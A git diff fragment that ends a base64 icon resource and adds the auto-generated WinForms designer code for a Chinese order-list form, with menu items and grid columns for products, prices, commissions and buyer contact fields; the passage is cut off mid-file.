eP///////////////////////////////////////////////////////4zMzMzMzMzMzMzMzMzMzMzM + zMzMzMj///////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzM + zMzMzMzMzMzHj//////////////////////////////////////////////////////4zMzMzMzMzMzM + zMzMzMzMzMzMzMzMzI//////////////////////////////////////////////////////h8zMzMzM + zMzMzMzMzMzMzMzMzMzMzMx4////////////////////////////////////////////////////+HzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMyI////+I//////////////////////////////////////////// + //h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+Ij///////////////////////////////////// + //////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+IiIiIj//////////////////////////4 + ////iI/////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiP/////4iIiP////////////////////// + ////+IiIiIj/////iHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////////////////// + ///////////4iIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP//////////////////// + //////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////// + //////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHj///////// + ///////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//// + ////////////////////////////////////////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI + j/////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMeP//////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMx4////////+I//////////////////////////////////////jMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMeP///////4iIj///////////////////////////iP///////4fMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMx4////////iIiIiP///////////////////////4iIiP///////4zMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIj///////+HzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIj////////////////////4iIiIiIj/////// + +MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIiI// + //////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiP////////////////////iIiI + iIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiIj/////iIiIiIiIj///// + /4iIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiI/////4zMzMzMzM + j/////+IiIiIiIiP//////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//////+IiIiIiIj/////+MzM + zMzMzI//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iIiIiIiI//// + //jMzMzMzMyP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP///////4iIiIiI + iP/////4zMzMzMzMj//////4iIiIiIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iI + iIiIiI//////+MzMzMzMzI//////+IiIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ///4iIiIiIiP//////fMzMzMzMyP//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzH + j///////+IiIiIiI//////+HzMzMzMzMeP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzM + zMzMyP////////iIiIiIiP//////jMzMzMzMzHj///////iIiIiIiI///////4fMzMzMzMzMzMzMzMzM + zMzMzMzMzMj///////+IiIiIiI///////4zMzMzMzMzI///////4iIiIiIiI///////3zMzMzMzMzMzM + zMzMzMzMzMzMzMzI////////iIiIiIiP//////+MzMzMzMzMyP//////+IiIiIiIiP//////+MzMzMzM + zMzMzMzMzMzMzMzMzMzMeP///////4iIiIiIj///////jMzMzMzMzMj///////+IiIiIiIj///////jM + zMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiIiP//////+HzMzMzMzMzHj///////iIiIiIiI//// + ///4zMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIiI////////jMzMzMzMzMzI///////4iIiIiI + iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMzMj////////4iIiIiP///////4zMzMzMzMzMyP///////4 + iIiIiIiP//////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiI////////h8zMzMzMzMzMeP// + /////4iIiIiIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIj////////4fMzMzMzMzM + zHj///////+IiIiIiI//////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////iIiP////////+MzMzM + zMzMzMzI////////+IiIiIiP//////h8zMzMzMzMzMzMxmzMzMzMzMzMx4/////////4iP/////////4 + fMzMzMzMzMzMx4////////+IiIiIj//////4fMzMzMzMzMzMzMZszMzMzMzMzMeP//////////////// + ////+MzMzMzMzMzMzMyP////////iIiIiP//////+HzMzMzMzMzMzMzGbMzMzMzMzMzH//////////// + //////////fMzMzMzMzMzMzMeP////////iIiIj///////98zMzMzMzMzMzMxmzMzMzMzMzMyP////// + //////////////+HzMzMzMzMzMzMzHj/////////+IiP////////jMzMzMzMzMzMzMZszMzMzMzMzMj/ + ////////////////////jMzMzMzMzMzMzMzIj////////////////////4zMzMzMzMzMzMzGTMzMzMzM + zMzH////////////////////+HzMzMzMzMzMzMzMx4////////////////////+MzMzMzMzMzMzMxAzM + zMzMzMzMx/////////////////////jMzMzMzMzMzMzMzMyI///////////////////4fMzMzMzMzMzM + zMAGzMzMzMzMzMeP//////////////////+HzMzMzMzMzMzMzMzMeP//////////////////+HzMzMzM + zMzMzMxgBszMzMzMzMzHj//////////////////4fMzMzMzMzMzMzMzMzMeP//////////////////h8 + zMzMzMzMzMzMYADMzMzMzMzMzI//////////////////+HzMzMzMzMzMzMzMzMzHj/////////////// + ///4zMzMzMzMzMzMzAAAbMzMzMzMzMyP/////////////////4fMzMzMzMzMzMzMzMzMzHj///////// + ////////+MzMzMzMzMzMzMYAAEzMzMzMzMzMj/////////////////+MzMzMzMzMzMzMzMzMzMzIj/// + /////////////4fMzMzMzMzMzMzEAAAGzMzMzMzMzHj////////////////4fMzMzMzMzMzMzMzMzMzM + x4////////////////+MzMzMzMzMzMzMYAAABMzMzMzMzMx4////////////////h8zMzMzMzMzMzMzM + zMzMzMx4///////////////4fMzMzMzMzMzMzEAAAABszMzMzMzMx4//////////////+HzMzMzMzMzM + zMzMzMzMzMzMx4//////////////+MzMzMzMzMzMzMYAAAAATMzMzMzMzMyP/////////////4fMzMzM + zMzMzMzMzMzMzMzMzMeI/////////////4fMzMzMzMzMzMzEAAAAAAbMzMzMzMzMeP////////////h8 + zMzMzMzMzMzMzMzMzMzMzMzMeI////////////h8zMzMzMzMzMzMYAAAAAAAbMzMzMzMzMeP//////// + //iHzMzMzMzMzMzMzMzMzMzMzMzMzMyI//////////+HzMzMzMzMzMzMxgAAAAAAAEzMzMzMzMzMeP// + //////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMx4/////////4fMzMzMzMzMzMzMQAAAAAAAAGzMzMzMzM + zMeI//////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4j//////4h8zMzMzMzMzMzMxgAAAAAAAAAGzM + zMzMzMzMx4iIiIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiIj/+Ih3zMzMzMzMzMzMzGAAAAAAAA + AAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx3iId8zMzMzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/29WxOrder/OrderForms/BuyOrderListForm.Designer.cs b/29WxOrder/OrderForms/BuyOrderListForm.Designer.cs new file mode 100644 index 0000000..b38a3ba --- /dev/null +++ b/29WxOrder/OrderForms/BuyOrderListForm.Designer.cs @@ -0,0 +1,899 @@ + +namespace _29WxOrder.OrderForms +{ + partial class BuyOrderListForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(BuyOrderListForm)); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle(); + this.新建NToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.打开OToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator = new System.Windows.Forms.ToolStripSeparator(); + this.保存SToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.另存为AToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator(); + this.打印PToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.打印预览VToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator(); + this.退出XToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.撤消UToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.重复RToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator(); + this.剪切TToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.复制CToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.粘贴PToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator4 = new System.Windows.Forms.ToolStripSeparator(); + this.全选AToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.自定义CToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.选项OToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.内容CToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.索引IToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.搜索SToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator5 = new System.Windows.Forms.ToolStripSeparator(); + this.关于AToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components); + this.编辑ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.待发货ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.等待上家发货ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.发货成功ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.发货完成ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.发货ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.更新订单ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.更新姓名ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.更新电话ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.更新收件地址ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.删除订单ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.插旗标记ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.灰色ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.紫色ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.蓝色ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.绿色ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.橙色ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.红色ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.批量设置一次性总店ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.DgvOrderList = new _29WxOrder.MyControl.MyDataGridView(); + this.pnlMessage = new DevComponents.DotNetBar.PanelEx(); + this.ucPager1 = new _29WxOrder.MyControl.UcPager(); + this.pnlUpdateOrderInfo = new DevComponents.DotNetBar.PanelEx(); + this.col_shop_id = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_shop_name = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_title = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_up_product_id = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_product_id = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_c_biz_desc = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_sku = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.productImgSku = new System.Windows.Forms.DataGridViewImageColumn(); + this.col_price = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_buy_price = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.commission_scale = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.commission = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_count = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_order_id = new System.Windows.Forms.DataGridViewLinkColumn(); + this.col_name = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_mobile = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_address = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_create_time = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_order_promise_time = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_order_send_remaining_time = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_order_start_buy = new System.Windows.Forms.DataGridViewLinkColumn(); + this.col_phone_buy = new System.Windows.Forms.DataGridViewLinkColumn(); + this.col_remark = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_buyer_words = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.contextMenuStrip1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.DgvOrderList)).BeginInit(); + this.SuspendLayout(); + // + // 新建NToolStripMenuItem + // + this.新建NToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("新建NToolStripMenuItem.Image"))); + this.新建NToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Magenta; + this.新建NToolStripMenuItem.Name = "新建NToolStripMenuItem"; + this.新建NToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.N))); + this.新建NToolStripMenuItem.Size = new System.Drawing.Size(165, 22); + this.新建NToolStripMenuItem.Text = "新建(&N)"; + // + // 打开OToolStripMenuItem + // + this.打开OToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("打开OToolStripMenuItem.Image"))); + this.打开OToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Magenta; + this.打开OToolStripMenuItem.Name = "打开OToolStripMenuItem"; + this.打开OToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.O))); + this.打开OToolStripMenuItem.Size = new System.Drawing.Size(165, 22); + this.打开OToolStripMenuItem.Text = "打开(&O)"; + // + // toolStripSeparator + // + this.toolStripSeparator.Name = "toolStripSeparator"; + this.toolStripSeparator.Size = new System.Drawing.Size(162, 6); + // + // 保存SToolStripMenuItem + // + this.保存SToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("保存SToolStripMenuItem.Image"))); + this.保存SToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Magenta; + this.保存SToolStripMenuItem.Name = "保存SToolStripMenuItem"; + this.保存SToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.S))); + this.保存SToolStripMenuItem.Size = new System.Drawing.Size(165, 22); + this.保存SToolStripMenuItem.Text = "保存(&S)"; + // + // 另存为AToolStripMenuItem + // + this.另存为AToolStripMenuItem.Name = "另存为AToolStripMenuItem"; + this.另存为AToolStripMenuItem.Size = new System.Drawing.Size(165, 22); + this.另存为AToolStripMenuItem.Text = "另存为(&A)"; + // + // toolStripSeparator1 + // + this.toolStripSeparator1.Name = "toolStripSeparator1"; + this.toolStripSeparator1.Size = new System.Drawing.Size(162, 6); + // + // 打印PToolStripMenuItem + // + this.打印PToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("打印PToolStripMenuItem.Image"))); + this.打印PToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Magenta; + this.打印PToolStripMenuItem.Name = "打印PToolStripMenuItem"; + this.打印PToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.P))); + this.打印PToolStripMenuItem.Size = new System.Drawing.Size(165, 22); + this.打印PToolStripMenuItem.Text = "打印(&P)"; + // + // 打印预览VToolStripMenuItem + // + this.打印预览VToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("打印预览VToolStripMenuItem.Image"))); + this.打印预览VToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Magenta; + this.打印预览VToolStripMenuItem.Name = "打印预览VToolStripMenuItem"; + this.打印预览VToolStripMenuItem.Size = new System.Drawing.Size(165, 22); + this.打印预览VToolStripMenuItem.Text = "打印预览(&V)"; + // + // toolStripSeparator2 + // + this.toolStripSeparator2.Name = "toolStripSeparator2"; + this.toolStripSeparator2.Size = new System.Drawing.Size(162, 6); + // + // 退出XToolStripMenuItem + // + this.退出XToolStripMenuItem.Name = "退出XToolStripMenuItem"; + this.退出XToolStripMenuItem.Size = new System.Drawing.Size(165, 22); + this.退出XToolStripMenuItem.Text = "退出(&X)"; + // + // 撤消UToolStripMenuItem + // + this.撤消UToolStripMenuItem.Name = "撤消UToolStripMenuItem"; + this.撤消UToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.Z))); + this.撤消UToolStripMenuItem.Size = new System.Drawing.Size(161, 22); + this.撤消UToolStripMenuItem.Text = "撤消(&U)"; + // + // 重复RToolStripMenuItem + // + this.重复RToolStripMenuItem.Name = "重复RToolStripMenuItem"; + this.重复RToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.Y))); + this.重复RToolStripMenuItem.Size = new System.Drawing.Size(161, 22); + this.重复RToolStripMenuItem.Text = "重复(&R)"; + // + // toolStripSeparator3 + // + this.toolStripSeparator3.Name = "toolStripSeparator3"; + this.toolStripSeparator3.Size = new System.Drawing.Size(158, 6); + // + // 剪切TToolStripMenuItem + // + this.剪切TToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("剪切TToolStripMenuItem.Image"))); + this.剪切TToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Magenta; + this.剪切TToolStripMenuItem.Name = "剪切TToolStripMenuItem"; + this.剪切TToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.X))); + this.剪切TToolStripMenuItem.Size = new System.Drawing.Size(161, 22); + this.剪切TToolStripMenuItem.Text = "剪切(&T)"; + // + // 复制CToolStripMenuItem + // + this.复制CToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("复制CToolStripMenuItem.Image"))); + this.复制CToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Magenta; + this.复制CToolStripMenuItem.Name = "复制CToolStripMenuItem"; + this.复制CToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.C))); + this.复制CToolStripMenuItem.Size = new System.Drawing.Size(161, 22); + this.复制CToolStripMenuItem.Text = "复制(&C)"; + // + // 粘贴PToolStripMenuItem + // + this.粘贴PToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("粘贴PToolStripMenuItem.Image"))); + this.粘贴PToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Magenta; + this.粘贴PToolStripMenuItem.Name = "粘贴PToolStripMenuItem"; + this.粘贴PToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.V))); + this.粘贴PToolStripMenuItem.Size = new System.Drawing.Size(161, 22); + this.粘贴PToolStripMenuItem.Text = "粘贴(&P)"; + // + // toolStripSeparator4 + // + this.toolStripSeparator4.Name = "toolStripSeparator4"; + this.toolStripSeparator4.Size = new System.Drawing.Size(158, 6); + // + // 全选AToolStripMenuItem + // + this.全选AToolStripMenuItem.Name = "全选AToolStripMenuItem"; + this.全选AToolStripMenuItem.Size = new System.Drawing.Size(161, 22); + this.全选AToolStripMenuItem.Text = "全选(&A)"; + // + // 自定义CToolStripMenuItem + // + this.自定义CToolStripMenuItem.Name = "自定义CToolStripMenuItem"; + this.自定义CToolStripMenuItem.Size = new System.Drawing.Size(128, 22); + this.自定义CToolStripMenuItem.Text = "自定义(&C)"; + // + // 选项OToolStripMenuItem + // + this.选项OToolStripMenuItem.Name = "选项OToolStripMenuItem"; + this.选项OToolStripMenuItem.Size = new System.Drawing.Size(128, 22); + this.选项OToolStripMenuItem.Text = "选项(&O)"; + // + // 内容CToolStripMenuItem + // + this.内容CToolStripMenuItem.Name = "内容CToolStripMenuItem"; + this.内容CToolStripMenuItem.Size = new System.Drawing.Size(125, 22); + this.内容CToolStripMenuItem.Text = "内容(&C)"; + // + // 索引IToolStripMenuItem + // + this.索引IToolStripMenuItem.Name = "索引IToolStripMenuItem"; + this.索引IToolStripMenuItem.Size = new System.Drawing.Size(125, 22); + this.索引IToolStripMenuItem.Text = "索引(&I)"; + // + // 搜索SToolStripMenuItem + // + 